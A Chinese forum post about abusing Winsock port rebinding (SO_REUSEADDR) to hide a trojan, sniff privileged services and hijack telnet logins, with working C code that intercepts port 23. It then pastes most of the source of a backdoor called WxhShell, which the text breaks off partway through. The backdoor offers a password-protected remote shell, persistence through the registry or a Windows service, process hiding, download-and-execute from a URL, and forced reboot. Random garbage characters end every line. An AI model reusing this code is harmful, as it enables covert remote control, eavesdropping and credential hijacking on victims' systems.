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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dn42'(p@G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n2c(x\DA&  
(<OmYnm  
  saddr.sin_family = AF_INET; T51oNO%^  
I-J%yutB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EX W?)_pg  
M,{;xf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0$y HO2 f  
gLo&~|=L-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >U4bK^/Bp  
P$ b5o  
  这意味着什么?意味着可以进行如下的攻击: fyx Q{J  
W S9:*YH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i8EKzW  
w}07u5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ut1s~b1  
MD4m h2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  ]5ibg"{S  
WoSKN7*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hD,^mru  
hOIg 7=v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Rdd9JJsVd  
\b)P4aL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q9^.f9-  
<0l:B ;3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8) `  
'}>8+vU`  
  #include O7&OCo|b%>  
  #include f R2,NKM@  
  #include oc-o>H  
  #include    5(Q-||J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FS?1O"_  
  int main() Skux&'N:  
  { %A&g-4(  
  WORD wVersionRequested; <x$f D37  
  DWORD ret; m<MN.R7  
  WSADATA wsaData; `C6,**`R$k  
  BOOL val; K_N`My  
  SOCKADDR_IN saddr; 9Y2(.~w6X  
  SOCKADDR_IN scaddr; 3],(oQq^  
  int err; yM-%x1r ~  
  SOCKET s; ecp0 hG`%  
  SOCKET sc; K TE*Du  
  int caddsize; >u .u#de  
  HANDLE mt; >Bm>/%2  
  DWORD tid;   e6T?2`5P  
  wVersionRequested = MAKEWORD( 2, 2 ); lL'K1%{+ \  
  err = WSAStartup( wVersionRequested, &wsaData ); ^ilgd  
  if ( err != 0 ) { Ut2x4$9  
  printf("error!WSAStartup failed!\n"); QYBLU7  
  return -1; bX%4[BKP  
  } eo"XHP7ja  
  saddr.sin_family = AF_INET; &Fmen;(  
   OXoEA a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EScy!p\*  
pG/g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O=1 #KNS  
  saddr.sin_port = htons(23); D9r;Ys%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^#7&R"  
  { q| *nd!y'  
  printf("error!socket failed!\n"); ^M1O)   
  return -1; xkaed  
  } 7tY~8gQel  
  val = TRUE; L#_QrR6Sny  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <%`z:G3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P[ Vf$ q<  
  { 7 :u+-U  
  printf("error!setsockopt failed!\n"); H[r64~Sth  
  return -1; $T2zs$  
  } I =K<%.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6HVGqx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z7*mT}Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \]L h a  
,#.^2O9-^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &v r0{]V^  
  { 2l8z/o7v  
  ret=GetLastError(); &#]||T-  
  printf("error!bind failed!\n"); DsiyN:o'+  
  return -1; u,@x7a,z  
  } X=JAyxY  
  listen(s,2); <,nd]a  
  while(1) 7^h*rL9  
  { D4+OWbf6  
  caddsize = sizeof(scaddr); [rhK2fr:i  
  //接受连接请求 -]MZP:s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O<0-`=W,a  
  if(sc!=INVALID_SOCKET) 8O^z{Yh7  
  { 7q^a@5f BG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xSjs+Y;Mu  
  if(mt==NULL) sQY0Xys<4  
  { Bq \WG=Fd  
  printf("Thread Creat Failed!\n"); c5HW.3"  
  break; LS1}j WU!  
  } Jz_`dLL^ w  
  } qI\B;&hr(  
  CloseHandle(mt); V ;M'd@  
  } b=Q%Jxz?  
  closesocket(s); YccD ^w[`B  
  WSACleanup(); T:udw  
  return 0; }/.b@`Dh;  
  }   k%cT38V*  
  DWORD WINAPI ClientThread(LPVOID lpParam) FBI^}^#_  
  { a^9}ceu?   
  SOCKET ss = (SOCKET)lpParam; &R}2/Mt  
  SOCKET sc; Z9PG7h  
  unsigned char buf[4096]; ]<E\J+5K  
  SOCKADDR_IN saddr; k5GJrK+  
  long num; `"E<%$|ZQy  
  DWORD val; uacVF[9|W  
  DWORD ret; r6`KZ TU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8~h.i1L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?u M2|Nk  
  saddr.sin_family = AF_INET; ]3yaIlpD1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >K;C?gHo  
  saddr.sin_port = htons(23); ljj}X JQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <F5x}i~(C  
  { N%QVkuCbM  
  printf("error!socket failed!\n"); &#[6a&9#[A  
  return -1; 80O[pf*?  
  } Z <tJ+  
  val = 100; H52] Zm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y+a]?`2  
  { EWoGdH|  
  ret = GetLastError(); KZTT2KsYl  
  return -1; SNf*2~uq)  
  } lA7\c#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y-:{a1/RKo  
  { ucC'SS  
  ret = GetLastError(); Ps7Bt(/  
  return -1; t{ScK%S6  
  } ]1n =O"vE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mE_?E&T`|  
  { rM(2RI4O`0  
  printf("error!socket connect failed!\n"); w#`E;fN'  
  closesocket(sc); {3=]cLtt  
  closesocket(ss); IH '&W  
  return -1; FFqqAT5  
  } \*$''`b)j  
  while(1) #+Cu&l  
  { ,Tc598D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dJd(m&.|N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wloQk(T<W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xD<:'-ri>  
  num = recv(ss,buf,4096,0); +}0/ %5 =1  
  if(num>0) D[ (A`!)  
  send(sc,buf,num,0); +&hd3  
  else if(num==0) bIahjxd:  
  break; g)#neEA J  
  num = recv(sc,buf,4096,0); q~:k[@`.  
  if(num>0) {kgV3 [%>  
  send(ss,buf,num,0); 2_lb +@[W  
  else if(num==0) ey>V^Fj  
  break; r5N.Qt8  
  } ^< O=<tN\  
  closesocket(ss); hbv>Jjd  
  closesocket(sc); s@vHU4  
  return 0 ; $&iw(BIq  
  } -%^KDyZ<&  
%) 8 UyZG  
bjEm=4FI;  
========================================================== &]Q\@;]Aq  
StJ&YYdD  
下边附上一个代码,,WXhSHELL YYUWBnf30G  
V8.o}BWY  
========================================================== 8(c,b  
*XZlnO  
#include "stdafx.h" w{; esU  
nv^nq]4'Dq  
#include <stdio.h> y0D="2)  
#include <string.h> k&PxhDf  
#include <windows.h> qXJBLIG  
#include <winsock2.h> &}G2;O}3  
#include <winsvc.h> )a%kAUNj  
#include <urlmon.h> 2pEr s|r  
VUaYK  
#pragma comment (lib, "Ws2_32.lib") }&OgIo+  
#pragma comment (lib, "urlmon.lib") h}o7/p  
+5:oW~ ;  
#define MAX_USER   100 // 最大客户端连接数 yY$:zc"J  
#define BUF_SOCK   200 // sock buffer yH0BNz8V  
#define KEY_BUFF   255 // 输入 buffer 3-5X^!C  
IMDGinHAy  
#define REBOOT     0   // 重启 b-rgiR$cg  
#define SHUTDOWN   1   // 关机 as?~N/}  
Z;bg;@r|  
#define DEF_PORT   5000 // 监听端口 q'%-8t  
<k0$3&D  
#define REG_LEN     16   // 注册表键长度 se1\<YHDS  
#define SVC_LEN     80   // NT服务名长度 s*k[Fbi  
9$pQ|e0tJ  
// 从dll定义API HTz&h#)JQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nDvj*lZF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); El$yM.M"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #sK:q&/G`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l |c#  
M/X&zr  
// wxhshell配置信息 3~7X2}qU  
struct WSCFG { .6m%/-whS  
  int ws_port;         // 监听端口 11s*C #  
  char ws_passstr[REG_LEN]; // 口令 D@5AI ](  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~al4`:rRx1  
  char ws_regname[REG_LEN]; // 注册表键名 Rh:edQ #  
  char ws_svcname[REG_LEN]; // 服务名 s6|Ev IVM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _S[@d^cY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P O,mg?JG(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CE19V:zp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no spE(s%dgL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BuE=(v2}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tq7cZe"6  
qMrBTq[  
}; '7UW\KEB[}  
yrnIQu*Uu  
// default Wxhshell configuration 4#oLf1  
struct WSCFG wscfg={DEF_PORT, ppjS|l*`  
    "xuhuanlingzhe",  *TEgV  
    1, n-P)X<\  
    "Wxhshell", #G;0yB:76  
    "Wxhshell", M7|k"iz v  
            "WxhShell Service", i1"4z tZ  
    "Wrsky Windows CmdShell Service", Vu3;U  
    "Please Input Your Password: ", M~Tx 4_t  
  1, $y\\ ?  
  "http://www.wrsky.com/wxhshell.exe", ^x8yW brE  
  "Wxhshell.exe" )c:i 'L  
    }; y Q_lJIX  
+5|wd6  
// 消息定义模块 J_]B,' 6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bF5mCR:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h <s.o#8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u dhj$:t  
char *msg_ws_ext="\n\rExit."; mT@8(  
char *msg_ws_end="\n\rQuit.";  0(2r"Hi  
char *msg_ws_boot="\n\rReboot..."; 9%i|_c}  
char *msg_ws_poff="\n\rShutdown..."; p,hDZea  
char *msg_ws_down="\n\rSave to "; xWv@PqXD  
WQ(*A $  
char *msg_ws_err="\n\rErr!"; dvWQ?1l_  
char *msg_ws_ok="\n\rOK!"; D\}A{I92F4  
TmZ% ;TN  
char ExeFile[MAX_PATH]; {_GhS%  
int nUser = 0; gZI88Q  
HANDLE handles[MAX_USER]; 8{@0p"re@  
int OsIsNt; =.Tc l"O[  
.""?k[f5Q  
SERVICE_STATUS       serviceStatus; $wgHaSni  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sz.sX w;  
8Z{e/wnVF  
// 函数声明 uTgvMkO  
int Install(void); n2NxO0  
int Uninstall(void); K'6dlwn).  
int DownloadFile(char *sURL, SOCKET wsh); 3dlL?+Y#  
int Boot(int flag); }IM*Vsk  
void HideProc(void); \t6k(5J  
int GetOsVer(void); RqV* O}Am  
int Wxhshell(SOCKET wsl); 9ZbT41  
void TalkWithClient(void *cs); [YbnpI  
int CmdShell(SOCKET sock); ?pS,?>J f  
int StartFromService(void); 9A@/5Z:v5W  
int StartWxhshell(LPSTR lpCmdLine); zJhG`iWFw  
\uT2)X( N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h[|c?\E z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q2o`.f+I  
2$)xpET  
// 数据结构和表定义 IQ$cLr-S  
SERVICE_TABLE_ENTRY DispatchTable[] = hRU.^Fn#%  
{ &LRO^[d  
{wscfg.ws_svcname, NTServiceMain}, {tq.c9+!d  
{NULL, NULL} f~HC%C YH  
}; ~J :cod  
C,2k W`[V  
// 自我安装 #GTR}|Aga  
int Install(void) zGDLF`  
{  /i'dhiG  
  char svExeFile[MAX_PATH]; c7~+ 5  
  HKEY key; i&%~:K*  
  strcpy(svExeFile,ExeFile); -@6R`m= >  
R^DZ@[\iV  
// 如果是win9x系统,修改注册表设为自启动 ) =KD   
if(!OsIsNt) { T d E.e(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g j(|#n5C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fx6c*KNX3  
  RegCloseKey(key); ?AMn>v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?X'm>R. @  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2pKkg>/S  
  RegCloseKey(key); :gD=F&V  
  return 0; rb"J{^  
    } "iu9r%l94  
  } it Byw1/  
} 9/?@2  
else { }@Ap_xW  
p\A!"KC  
// 如果是NT以上系统,安装为系统服务 ~F gxhK2+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PV[ Bqt  
if (schSCManager!=0) fi |k)  
{ JDp"!x{O  
  SC_HANDLE schService = CreateService zEHX:-f8  
  ( 8dgi"/[3  
  schSCManager, :eL{&&6  
  wscfg.ws_svcname, V7+fNr]I  
  wscfg.ws_svcdisp, Rm^3K   
  SERVICE_ALL_ACCESS, reBAxmt   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~pv|  
  SERVICE_AUTO_START, )=~OP>7B  
  SERVICE_ERROR_NORMAL, c#-o@`Po  
  svExeFile, v- 793pr  
  NULL, z( 00"ei  
  NULL, mE|?0mRA %  
  NULL, zl a^j,  
  NULL, %QYH]DR  
  NULL {WYJQKs8  
  ); aR- ?t14  
  if (schService!=0) (:g ZZG  
  { gK_^RE9~  
  CloseServiceHandle(schService); fJiY~mQ  
  CloseServiceHandle(schSCManager); F'~\!dNL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zJ"`40V*;  
  strcat(svExeFile,wscfg.ws_svcname); U=kP xe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e7n[NVrX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <8 $fo  
  RegCloseKey(key); Gr),o6}p  
  return 0; S.4gfY  
    } DlMT<ld  
  } H ~VeY\:w  
  CloseServiceHandle(schSCManager); bS1?I@  
} )#(6J  
} ~AvB5  
4qsP/`8  
return 1; C2X$bX"  
} [w1 4hHnq  
pXoD*o b  
// 自我卸载  ktA5]f;  
int Uninstall(void) x6qQ Y<>  
{ d~0k}|>  
  HKEY key; (dH "b *  
8zI*<RX.Q  
if(!OsIsNt) { H.Q648A"PF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o_i N(K  
  RegDeleteValue(key,wscfg.ws_regname); r5> 1n/+6  
  RegCloseKey(key); fTq/9=Rq4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S6<z2-y  
  RegDeleteValue(key,wscfg.ws_regname); (C3:_cM5  
  RegCloseKey(key); Wb1?>q  
  return 0; {Xjj-@  
  } (9]8r2|.  
} V*Q!J{lj^#  
} H;1_"  
else { uht>@ WSg|  
rk E;OU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nT:F{2 M;  
if (schSCManager!=0) -/g<A~+i]$  
{ Os rHA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E',z<S  
  if (schService!=0) _spW~"|G  
  { X21k7 Ls  
  if(DeleteService(schService)!=0) { Y\ C"3+I  
  CloseServiceHandle(schService); qexnsL  
  CloseServiceHandle(schSCManager); _{ Np _ (g  
  return 0; J4woZ{d  
  } +~7x+6E  
  CloseServiceHandle(schService); +I <^w)  
  } Jv8JCu"eky  
  CloseServiceHandle(schSCManager); u6t%*''  
} l^cz&k=+  
} 9OS~;9YR  
y),yks?iv  
return 1; zMg(\8  
} "n, %Hh  
VE $Kdo^  
// 从指定url下载文件 -T8'|"g  
int DownloadFile(char *sURL, SOCKET wsh) u[<ij  
{ .3 S9=d?  
  HRESULT hr; 4;|@eN  
char seps[]= "/"; cHAq[Ebp2!  
char *token; N?{.}-Q  
char *file; 8o  SL3  
char myURL[MAX_PATH]; c!ul9Cw  
char myFILE[MAX_PATH]; 1G}\IK1+  
x,fX mgE  
strcpy(myURL,sURL); @TraEBJGL  
  token=strtok(myURL,seps); KlGmO;k  
  while(token!=NULL)  84g8$~M  
  { BGrV,h^  
    file=token; ] :.  
  token=strtok(NULL,seps); r}4   
  } e` eh;@9p  
aJzyEb  
GetCurrentDirectory(MAX_PATH,myFILE); n_/;j$h  
strcat(myFILE, "\\"); 5{|tE!  
strcat(myFILE, file); -%_vb6u  
  send(wsh,myFILE,strlen(myFILE),0); 3n)\D<f]#  
send(wsh,"...",3,0); wlEmy.)H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V2B: DIpr  
  if(hr==S_OK) AT -  
return 0; 89YG `  
else sHPK8Wsg  
return 1; Qm)c!  
S^:7V[=EgI  
} =KW~k7TaN  
3>#io^35  
// 系统电源模块 Jz@2?wSp  
int Boot(int flag) ,c&%/"i:w  
{ O|mWQp^?q  
  HANDLE hToken; [+wLy3_  
  TOKEN_PRIVILEGES tkp; ,KaO8^PB  
J93@\b  
  if(OsIsNt) { tpn.\z%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KP xf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p1']+4r%  
    tkp.PrivilegeCount = 1; N+zR7`AG8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dk_! ~Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e% #?B *  
if(flag==REBOOT) {  r<1.'F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I~&*8)xM  
  return 0; n%d7`?tm4  
} +EvY-mwfQ  
else { -1%AM40j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hr?0RPp}  
  return 0; 'p&q}IO  
} 5n1T7-QCL  
  } r:Ok z  
  else { 5gZ *  
if(flag==REBOOT) { | E\u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z!z#+G  
  return 0; |o#pd\  
} -uhg7N[3  
else { =GL^tAUJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o(@^V!}V  
  return 0; _m#P\f'p  
} ?#|in}  
} %&M*G@j  
q\d/-K  
return 1; M!O &\2Q  
} }UWi[UgA  
'^`%  
// win9x进程隐藏模块 yhxZ^ (I  
void HideProc(void) [-hsG E  
{ >8EmfjUoc  
;BW-ag \9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,L;%-}#$  
  if ( hKernel != NULL ) G8@LH   
  { n7,LfO#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '&F Pk T:5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {KqERS& g  
    FreeLibrary(hKernel); #OsUF,NU  
  } _ {mG\*q  
g]PC6xr38  
return; 3|vZ `}  
} [w}KjV/yi  
s>a(#6Q  
// 获取操作系统版本 t}2M8ue(&  
int GetOsVer(void) r~;TId} #  
{ DC,]FmWs!+  
  OSVERSIONINFO winfo; uE&2M>2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F>"B7:P1:Q  
  GetVersionEx(&winfo); O/lu0acI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o(Q='kK  
  return 1; U>a~V"5,u  
  else $j'8Z^  
  return 0; BF(Kaf;<t.  
} PaBqv]  
fK5iOj'Q  
// 客户端句柄模块 Rqun}v}  
int Wxhshell(SOCKET wsl) s AlOX`t  
{ I#:,!vjn  
  SOCKET wsh; zF_aJ+i:~  
  struct sockaddr_in client; 86ml.VOR  
  DWORD myID; %s#`Z [8,  
M6*8}\  
  while(nUser<MAX_USER) rE4qPzL  
{ rB-}<22.  
  int nSize=sizeof(client); 3.?B')  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E>NL/[1d  
  if(wsh==INVALID_SOCKET) return 1; v$EgVc K  
j?s+#t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c3|/8  
if(handles[nUser]==0) q Qc-;|8  
  closesocket(wsh); ez^b{s`  
else g?e-D.pSF  
  nUser++; ~MZ.988:<  
  } rtk1 8U-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j(`V& S  
jWerX -$  
  return 0; SkMBdkS9z[  
} $6yr:2Xvt  
XV0t 8#T2  
// 关闭 socket gpe-)hD@R  
void CloseIt(SOCKET wsh) RiCzH  
{ '-KrneZ!  
closesocket(wsh); KGsW*G4U=  
nUser--; (#VF>;;L  
ExitThread(0); q-nM]Gm  
} b`X"yg+  
9|&%"~6'  
// 客户端请求句柄 .> |]Lo(=l  
void TalkWithClient(void *cs) Y )9]I6n7  
{ QTuj v<|  
6l?\iE  
  SOCKET wsh=(SOCKET)cs; D>I|(B!.p8  
  char pwd[SVC_LEN]; >Wr  
  char cmd[KEY_BUFF]; h&6t.2<e  
char chr[1]; `|g*T~; kC  
int i,j; O-YB +~"3Z  
]5hGSl2  
  while (nUser < MAX_USER) { X?Z#k~JR  
sp&)1?!M  
if(wscfg.ws_passstr) { bx%P-r31  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .LEn~ 8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {-kV~p  
  //ZeroMemory(pwd,KEY_BUFF); /b~|(g31"  
      i=0; 9lCZ i?  
  while(i<SVC_LEN) { 'X1fb:8m8  
` B71`  
  // 设置超时 h?2:'Vu]  
  fd_set FdRead; \`,,r_tO  
  struct timeval TimeOut; 4f{(Scg  
  FD_ZERO(&FdRead); eWwI@ASaA  
  FD_SET(wsh,&FdRead); `Pe WV[?  
  TimeOut.tv_sec=8; B;mt11M  
  TimeOut.tv_usec=0; @(Y+W2Iyy+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tx01*2]pX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RB `<Zw  
Y]!{ n W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C`>|D [  
  pwd=chr[0]; VLfE3i4Vwl  
  if(chr[0]==0xd || chr[0]==0xa) { <j$n7#qk  
  pwd=0; .j_YVYu1&  
  break; =a3qpPkx  
  } czHbdEh  
  i++; =lqBRut  
    } *Mr?}_,X*  
84$#!=v  
  // 如果是非法用户,关闭 socket 6K zdWT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  2t7Hu)V  
} "lJ [H=\  
)./'`Mx?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #{u>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tZn=[X~Vw@  
y vz2eAXa  
while(1) { FD*w4U5  
, ,=7deR  
  ZeroMemory(cmd,KEY_BUFF); 8C!D=Vhh  
-Y"'=zkO  
      // 自动支持客户端 telnet标准   @(_M\>!%M  
  j=0; auP6\kpMe  
  while(j<KEY_BUFF) { Q-LDFnOFwp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); muqIh!nn  
  cmd[j]=chr[0]; =7WE   
  if(chr[0]==0xa || chr[0]==0xd) { ]jL`*tI\S  
  cmd[j]=0; 3d0Yq  
  break; (e$/@3*  
  } C/L+:b&x~  
  j++; p|b&hgA  
    } ]C me)&hX  
t6H9Q>*  
  // 下载文件 !\%0O`b^4  
  if(strstr(cmd,"http://")) { 8=h$6=1S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :Sj r  
  if(DownloadFile(cmd,wsh)) 0aS&!"o!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C3 m#v[+  
  else (Mw<E<f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !@<>S>uGG  
  } >nL9%W}8M  
  else { `*nK@:  
rZBOWT  
    switch(cmd[0]) { +o\s |G|l  
  0 G.y_<=  
  // 帮助 z<rYh96uA  
  case '?': { 4vk^=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -}O>m}l  
    break; 0Tm"Zh?B|  
  } ja2PmPv  
  // 安装 )FG<|G(  
  case 'i': { C/!c?$J  
    if(Install()) K(M@#t1_&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &sRjs  
    else E'g2<k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >{dj6Wo  
    break; mfNYN4Um6  
    } *?#t (Y[  
  // 卸载 Fq<;-  
  case 'r': { 2-3|0<`  
    if(Uninstall()) 6jIW)C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = yH#Iil  
    else G'>z~I]6S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NI^[7.2  
    break; IiV#V  
    } (HUGgX"=  
  // 显示 wxhshell 所在路径 ;-koMD!2F  
  case 'p': { ;S FmbZ%~  
    char svExeFile[MAX_PATH]; lilKYrUmG  
    strcpy(svExeFile,"\n\r"); fJ?$Z|  
      strcat(svExeFile,ExeFile); 2@(Qd3N(  
        send(wsh,svExeFile,strlen(svExeFile),0); !:[kS1s>M  
    break; tilL7  
    } 79>8tOuo  
  // 重启 +r+H`cT@  
  case 'b': { b7:B[7yK.x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I+Q`i:\,q  
    if(Boot(REBOOT)) :X`Bc"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =m4_8)-8u  
    else { '42P=vzo  
    closesocket(wsh); *Iu .>nw  
    ExitThread(0); GMZj@q  
    } a%-P^M;a2  
    break; hal3J  
    } EuAJ.n  
  // 关机 "KY9MBzPD  
  case 'd': { ?`hk0qX3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o 6$Q>g`]  
